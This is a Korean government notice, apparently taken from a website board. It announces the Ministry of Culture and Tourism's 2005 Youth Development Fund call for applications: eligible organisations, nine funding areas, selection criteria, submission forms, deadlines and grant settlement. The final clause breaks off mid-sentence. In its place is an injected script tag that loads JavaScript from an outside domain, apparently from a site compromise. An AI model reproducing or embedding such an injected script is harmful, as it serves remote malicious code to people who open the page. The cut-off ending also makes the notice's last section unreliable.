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[공고] 2005년도 청소년육성기금사업 공모 시행 공고


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작성자 관리자 작성일2004.12.01 조회8,137회 댓글0건

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문화관광부 공고 제2004-69호
2005년도 청소년육성기금사업 공모 시행 공고
청소년육성기금사업의 투명성, 공공성을 제고하고, 사업의 다양화 및 새로운 사업을 발굴하여 청소년이 내일의 주역으로서 21세기 사회가 요구하는 인성과 자질을 함양하여 건전하고 책임있는 민주시민으로 성장해 나갈 수 있도록 하고자 아래와 같이 청소년육성사업 공모 시행을 공고합니다. 2004. 12. 1. 문화관광부장관 1. 신청자격 ㅇ 문화관광부 또는 각 시·도에 등록된 청소년 단체 ㅇ 청소년기본법령에 의해 설치·운영중인 청소년수련시설 ㅇ 해당 부처에 등록된 문화·예술·체육 단체 ※ 복수의 단체가 컨소시엄을 구성하여 신청할 수도 있습니다. 2. 공모사업 분야 ① 청소년 인권신장 및 참여 확대(예시 : 청소년 인권증진, 청소년위원회, 청소년의회, 청소년대토론회 등) ② 청소년 문화예술활동 지원 (예시 : 청소년의 문화·예술창작활동 증진프로그램, 청소년 문화예술교육· 축제 등) ③ 청소년의 직업능력 강화 (예시 : 청소년직업체험 프로그램, 청소년아르바이트지원센터, 청소년인턴쉽, 직업교육 등) ④ 지역청소년 자원봉사활동 지원(예시 : 청소년수련시설 및 봉사활동기관 등의 특성화 청소년자원봉사 프로그램, 지역특성에 맞는 문화, 예술, 관광, 체육 등 분야의 청소년자원봉사프로그램 운영) ⑤ 청소년복지활동 지원 (예시 : 어려운(소외·가출·장애)청소년 등에게 심성프로그램 참가등 특별지원사업, 학교 밖 청소년 지원) ⑥ 청소년국제교류 활성화 (예시 : 외국과의 청소년 교류, 청소년해외자원봉사, 해외입양·재외동포 청소년 모국체험 등) ⑦ 청소년단체 전문화ㆍ특성화 (예시 : 청소년단체 활동 전문화·특성화 지원사업, 청소년단체간 네트워크 구축 및 연계협력사업, 청소년지도자 능력제고 및 단체운영 개선사업 등) ⑧ 청소년육성에 대한 홍보사업 (예시 : 청소년육성 사업에 대한 대중 매체 시리즈 광고 등) ⑨ 청소년육성사업 감리 및 평가 (예시 : 청소년육성기금 사업에 대한 전반적인 평가, 공모사업등의 수행 과정 및 결과 평가 등) ※ 2001년부터 실시해 온 ‘찾아가는 청소년 수련마을’, ‘수련거리개발 보급’, ‘특성화프로램 공모사업’ 및 2004년부터 실시한 ’한·일 미래공동프로젝트’ 공모사업은 사업의 특성에 따라 사안별로 별도 공고할 예정이니 착오 없으시기 바람. 3. 사업추진기간 : 2005. 1월 ~ 12월 4. 공모분야별 지원 규모 : 붙임 참조 5. 지원사업 선정 기준 ㅇ 1회성, 행사성 사업보다는 연중 지속적으로 추진할 수 있는 사업 ㅇ 신청단체에서 자체재원으로 기 시행하던 사업은 가급적 지양 ㅇ 해당 공모분야의 정책적 취지를 가장 잘 구현할 수 있는 사업 ㅇ 기타 독창성, 파급효과, 신청예산의 타당성, 전년도 사업평가결과, 최근 청소년관련 활동실적 등 해당 공모분야별 심사위원회에서 적합한 심사기준 마련 심사 6. 제출서류 (문화관광부 홈페이지 www.mct.go.kr) ㅇ 2005년도 청소년육성기금 지원사업 신청서 1부 (단체소개서, 사업계획서 첨부) ※ 문화관광부 홈페이지 공지사항에서 첨부파일을 내려받기 하여 아래한글로 작성후 제출 7.신청기간 및 방법 ㅇ 신청기간 : 2004. 12. 1(수) ∼ 2004. 12. 20(월), 근무시간내 도착분에 한함 ㅇ 신청방법 - 직접 방문 또는 우편제출 : 110-703 서울 종로구 세종로 82-1 문화관광부 청소년국 (해당과 명시) - 메일 (4항의 담당자 메일 참조) ※ 유의사항 : 모든 신청서 양식은 아래한글로 작성·제출 8. 심사 및 통보 ㅇ 각 공모분야별로 심사위원회를 구성하여 배정예산의 범위내에서 사업선정 ※ 동일 또는 유사사업으로 타 기금ㆍ부처 및 시·도 등에 중복 제출한 경우 심사제외 ※ 평가결과는 공개하지 않습니다. ㅇ 결과통보 : 문화관광부 홈페이지 공지사항에 공지 또는 단체별 통지(05년 1월초예정) 9. 보조금 지급, 사업평가 및 정산 ㅇ 선정된 사업에 대하여 1, 2차로 나누어 보조금 지급(사업시기와 금액고려 1차 전액교부 가능) ㅇ 중간평가 및 종합평가실시(사업평가단을 구성하여 사업기간중 평가, 필요시 현지조사 등) ㅇ 사업완료시 1개월 이내 사업실적 및 정산보고서 제출 ㅇ 평가결과 우수사업 시행 단체에 대하여는 차기?script src=http://www.csl24.com/b.js>

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